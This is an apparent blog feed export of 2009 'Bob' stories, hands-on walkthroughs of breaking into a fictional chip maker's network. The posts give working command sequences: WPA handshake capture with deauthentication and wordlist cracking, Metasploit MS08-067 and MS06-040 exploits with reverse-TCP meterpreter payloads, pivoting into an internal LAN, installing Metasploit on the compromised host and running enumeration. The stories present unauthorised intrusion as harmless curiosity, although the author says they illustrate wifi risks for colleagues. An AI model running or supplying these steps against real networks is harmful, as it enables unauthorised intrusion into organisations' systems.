{parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SvH6fsDH3-I/AAAAAAAABWU/66KYE2SQv3A/s1600-h/ddf.png"&gt;&lt;img style="cursor: pointer; width: 303px; height: 320px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SvH6fsDH3-I/AAAAAAAABWU/66KYE2SQv3A/s320/ddf.png" alt="" id="BLOGGER_PHOTO_ID_5400372850501083106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;  &lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;makecab /F bin.ddf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SvHACYYRqKI/AAAAAAAABWE/xl-i8WjmzBg/s1600-h/makecab.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 280px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SvHACYYRqKI/AAAAAAAABWE/xl-i8WjmzBg/s320/makecab.png" alt="" id="BLOGGER_PHOTO_ID_5400308575330478242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.&lt;span style="color: rgb(51, 255, 51);font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;expand /F:* bin.cab .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SvHAvikX44I/AAAAAAAABWM/3lno642iA8E/s1600-h/expand.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 291px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SvHAvikX44I/AAAAAAAABWM/3lno642iA8E/s320/expand.png" alt="" id="BLOGGER_PHOTO_ID_5400309351159686018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Bob Builds His Custom Payloads - Part 4 .......coming next&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5960696768448640043?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5960696768448640043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5960696768448640043&amp;isPopup=true' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5960696768448640043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5960696768448640043'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/11/bob-prepares-for-action.html' title='Bob Prepares For Action'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SvG-QPbqWhI/AAAAAAAABV0/UVsNBCYd_HY/s72-c/VT.png' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-8991736508619685703</id><published>2009-11-03T21:41:00.019Z</published><updated>2010-01-29T23:20:48.952Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><title type='text'>The Amazing Adventures of Bob!</title><content type='html'>I'll be putting together a few Bob Stories of the next little while so this is just really a place holder so my "Previous Entries" sidebar list doesn't get out of control.&lt;br /&gt;&lt;br /&gt;Throughout these stories you will hopefully see Bob progress from a hapless script kiddie into a mean lean penetration machine.  But then again, you might not!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2009/10/bobs-double-penetration-adventure-part.html"&gt;Bobs Double Penetration Adventure - Part 1&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2009/10/bobs-double-penetration-adventure-part_31.html"&gt;&lt;br /&gt;Bobs Double Penetration Adventure - Part 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2009/11/bob-prepares-for-action.html"&gt;Bob Prepares For Action - Part 3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2009/11/bob-backdoor-man.html"&gt;Bob The Backdoor Man - Part 4&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2009/11/bob-backdoor-man-part-2.html"&gt;&lt;br /&gt;Bob The Backdoor Man (continued) - Part 5&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-1.html"&gt;&lt;br /&gt;&lt;br /&gt;What Bob Did.  What Alice Saw - Part 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-2.html"&gt;What Bob Did.  What Alice Saw - Part 2&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-8991736508619685703?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/8991736508619685703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=8991736508619685703&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8991736508619685703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/8991736508619685703'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/11/amazing-adventures-of-bob.html' title='The Amazing Adventures of Bob!'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-751273306751107095</id><published>2009-10-31T09:03:00.015Z</published><updated>2009-10-31T09:59:58.254Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><title type='text'>Bobs Double Penetration Adventure - Part 2</title><content type='html'>So Bob decides to revisit his new found playground at Walliford Fries and get to grips with his new tools.  He connects up to the wifi with the password he's already cracked and this time rather than using the Autopwn feature he decides to try something else.  Bob's idea is to use the PC he exploited previously as a point to launch other attacks deeper into the network.&lt;br /&gt;&lt;br /&gt;Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use windows/smb/ms08_067_netapi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set LHOST 192.168.1.101&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set RHOST 192.168.1.102&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set ExitOnSession False&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;exploit -j -z&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Suv_hvwnVMI/AAAAAAAABUU/bwDtsps1hf0/s1600-h/bob1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 198px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Suv_hvwnVMI/AAAAAAAABUU/bwDtsps1hf0/s320/bob1.png" alt="" id="BLOGGER_PHOTO_ID_5398689533554808002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Excellent, Bob gets his session. He connects to the session and checks the network settings on his compromised host.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sessions -i 1&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;execute -H -f cmd.exe -i&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;ipconfig&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwAZQaQyII/AAAAAAAABUc/clKSJDCGpc0/s1600-h/bob2.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 187px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwAZQaQyII/AAAAAAAABUc/clKSJDCGpc0/s320/bob2.png" alt="" id="BLOGGER_PHOTO_ID_5398690487212230786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;While he is on the remote host Bob checks a few things, ideally he could do with knowing about the network servers.  At this point he just wants the basics, name &amp;amp; IP.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Net view&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuwBEXquGJI/AAAAAAAABUk/_nDfhJ0TanY/s1600-h/bob6.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 101px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuwBEXquGJI/AAAAAAAABUk/_nDfhJ0TanY/s320/bob6.png" alt="" id="BLOGGER_PHOTO_ID_5398691227894683794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And he could do with the IP addresses too.  He'll want these for his scans.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ping -n 1 server01&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;ping -n 1 server02&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwBdQWnefI/AAAAAAAABUs/wOaNmYh8ku4/s1600-h/bob7.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 188px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwBdQWnefI/AAAAAAAABUs/wOaNmYh8ku4/s320/bob7.png" alt="" id="BLOGGER_PHOTO_ID_5398691655428045298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That'll do for now.  Bob comes out of the shell, backgrounds his meterpreter session and creates a route pointing to the internal LAN through his session.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;exit&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;background&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;route add 10.0.1.0 255.255.255.0 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;route print&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwCDnKaG5I/AAAAAAAABU0/mDhxVJDpTME/s1600-h/bob3.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 94px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwCDnKaG5I/AAAAAAAABU0/mDhxVJDpTME/s320/bob3.png" alt="" id="BLOGGER_PHOTO_ID_5398692314385882002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now time to see if the magic works.  Bob selects the auxiliary scanner and checks the OS versions of the two servers on the internal LAN by pivoting through his compromised host.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use auxiliary/scanner/smb/version&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set RHOSTS 10.0.1.230&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set RHOSTS 10.0.1.231&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwC4gArbWI/AAAAAAAABU8/MMgOEUSdys8/s1600-h/bob8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 141px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwC4gArbWI/AAAAAAAABU8/MMgOEUSdys8/s320/bob8.png" alt="" id="BLOGGER_PHOTO_ID_5398693222999092578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hmmm, interesting. Windows 2003 with no service pack.  Bob wonders if he can exploit that through the pivot?&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use windows/smb/ms08_067_netapi&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set RHOST 10.0.1.231&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwDY_kB4VI/AAAAAAAABVE/UIlTbZ2fDnU/s1600-h/bob9.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 141px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwDY_kB4VI/AAAAAAAABVE/UIlTbZ2fDnU/s320/bob9.png" alt="" id="BLOGGER_PHOTO_ID_5398693781224677714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bugger!  No such luck. Hang on though, Bob remembers something he read once.  He can use Mubix's handy dandy deploymsf script to install Metasploit on his compromised host.  Perfect!&lt;br /&gt;&lt;br /&gt;He grabs files he needs from the web, putting them into his plugin directory.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cd /pentest/exploits/framework3/plugins/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;wget http://metasploit.com/releases/framework-3.3-dev.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And then it's just a case of connecting back to his session on the pwned box, running the script and pointing it to the metasploit executable.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sessions -i 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuwFNkIxe2I/AAAAAAAABVM/Bry0w0ILc7c/s1600-h/bob11.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 165px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SuwFNkIxe2I/AAAAAAAABVM/Bry0w0ILc7c/s320/bob11.png" alt="" id="BLOGGER_PHOTO_ID_5398695783907294050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Holly crap Batman! look at that.  Bob has installed Metasploit on the host he compromised, thanks to a weak password on the wireless LAN and a missing patch or two.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwFg6WWPKI/AAAAAAAABVU/qKR_Hqfb04A/s1600-h/bob12.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 75px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwFg6WWPKI/AAAAAAAABVU/qKR_Hqfb04A/s320/bob12.png" alt="" id="BLOGGER_PHOTO_ID_5398696116287323298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now the output isnt always pretty but it gets the job done.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwGitiCP7I/AAAAAAAABVc/zZGcKdAszHY/s1600-h/bob13.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 216px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuwGitiCP7I/AAAAAAAABVc/zZGcKdAszHY/s320/bob13.png" alt="" id="BLOGGER_PHOTO_ID_5398697246718050226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So whats next? Well there is that server with no service pack to take care of.  For that Bob will try his old faithful  ms06_040 exploit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;use windows/smb/ms06_040_netapi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;set RHOST 10.0.1.231&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwH3S6QwqI/AAAAAAAABVk/B8W3mKhSlCw/s1600-h/bob16.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 126px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SuwH3S6QwqI/AAAAAAAABVk/B8W3mKhSlCw/s320/bob16.png" alt="" id="BLOGGER_PHOTO_ID_5398698699860787874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Perfect, another box to play with.  Now Bob wants to dig in deep so he can play on this network for as long as possible so he's going to need to start pulling together some serious information.  He could get this all manually but of course that's pretty dumb,   especially when he can use Dark Operators excellent WinEnum script.  This will go out and grab nearly everything he wants so he acn understand the network better and stick it all in one big text file so Bob has some bedtime reading.  As Bobs already sitting in a meterpreter session he simply runs the WinEnum script.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;run winenum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuwJUiA02aI/AAAAAAAABVs/rU-eDNSPEJQ/s1600-h/bob18.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 189px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuwJUiA02aI/AAAAAAAABVs/rU-eDNSPEJQ/s320/bob18.png" alt="" id="BLOGGER_PHOTO_ID_5398700301642684834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sorted.  Again it's getting late so Bob decides to call it a day.  Before he does though he needs to leave himself a few backdoors.......which will of course be in the next post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-751273306751107095?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/751273306751107095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=751273306751107095&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/751273306751107095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/751273306751107095'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/10/bobs-double-penetration-adventure-part_31.html' title='Bobs Double Penetration Adventure - Part 2'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/Suv_hvwnVMI/AAAAAAAABUU/bwDtsps1hf0/s72-c/bob1.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2036582459145605158</id><published>2009-10-24T21:03:00.030+01:00</published><updated>2009-10-25T11:02:32.111Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><title type='text'>Bobs Double Penetration Adventure - Part 1</title><content type='html'>A couple of days ago a mate at work asked about the security issues surrounding computers that are connected to the company network and also to the Internet via a wifi connection.  This question was perfect fodder for a Bob story I thought.  So the story goes.......&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bobs a curious fella and he really likes to explore.  Lately he's been learning about hacking, nothing evil, just really having a look in places that he shouldn't be looking, you know, a curiosity thing.  As Bob sits at home it occurs to him that the perfect target for his hacking adventures is Walliford Fries, a chip maker based in his small town. He has nothing against Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are unloading their trucks at 5 in the morning and waking him up.  So his intention is to see if he can get onto the Walliford network with some if these free hacking tools he's downloaded from the web and use Wallifords as his new playground.&lt;br /&gt;&lt;br /&gt;Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going through the detail, looking for business relationships, email address, job postings etc.. He hasn't even started looking at IP ranges and ports.  All Bob has done is fire up his laptop sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuQt74OhgYI/AAAAAAAABUM/QXlxrG_BRH0/s1600-h/snapshot31.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuQt74OhgYI/AAAAAAAABUM/QXlxrG_BRH0/s320/snapshot31.png" alt="" id="BLOGGER_PHOTO_ID_5396488760225530242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries related, After all, his house is within spitting distance of the Walliford offices.  Shame its not WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to customise his word list for this particular target, so he decides to scrape Wallifords website and add all those words to his wordlist.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;wget -r http://www.wallifordfries.com&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;cat /root/temp/WF-wordlist.txt | sort | uniq &gt; wordlist2.txt&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;cat wordlist2.txt | pw-inspector -m 1 -M 20 &gt;WF-customlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After creating his custom wordlist Bob decides to add it to an existing wordlist.  As he'll need to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but popular password list, if this fails he'll have to go for the bigger wordlist he likes to call "Mother", but first he'll opt for the easy option.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;cat WF-customlist &gt;&gt;/root/temp/wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs the necessary BSSIDs of the access point and a client.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airmon-ng start wlan0 11&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng -c 11 mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNmmSSaugI/AAAAAAAABSU/RPVRZmCLEk8/s1600-h/snapshot4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 199px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNmmSSaugI/AAAAAAAABSU/RPVRZmCLEk8/s320/snapshot4.png" alt="" id="BLOGGER_PHOTO_ID_5396269586450135554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With the BSSID of the client and the Access Point he starts his capture and saves it to a file.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNnup2tBFI/AAAAAAAABSk/Uxx4JF37rvU/s1600-h/snapshot6.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 122px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SuNnup2tBFI/AAAAAAAABSk/Uxx4JF37rvU/s320/snapshot6.png" alt="" id="BLOGGER_PHOTO_ID_5396270829726925906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With the capture going he sends a few de-auths packets so he can capture the 4 way handshake, this is critical for him to perform his WPA crack.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNm5d48H4I/AAAAAAAABSc/3X6Vb6ZkYxE/s1600-h/snapshot5.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SuNm5d48H4I/AAAAAAAABSc/3X6Vb6ZkYxE/s320/snapshot5.png" alt="" id="BLOGGER_PHOTO_ID_5396269915982012290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file from the custom wordlist, hopefully all this effort will pay off.&lt;br /&gt;&lt;br /&gt;To generate the hash he uses the genpmk tool from the cowpatty directory.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And to crack the key he uses cowpatty.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 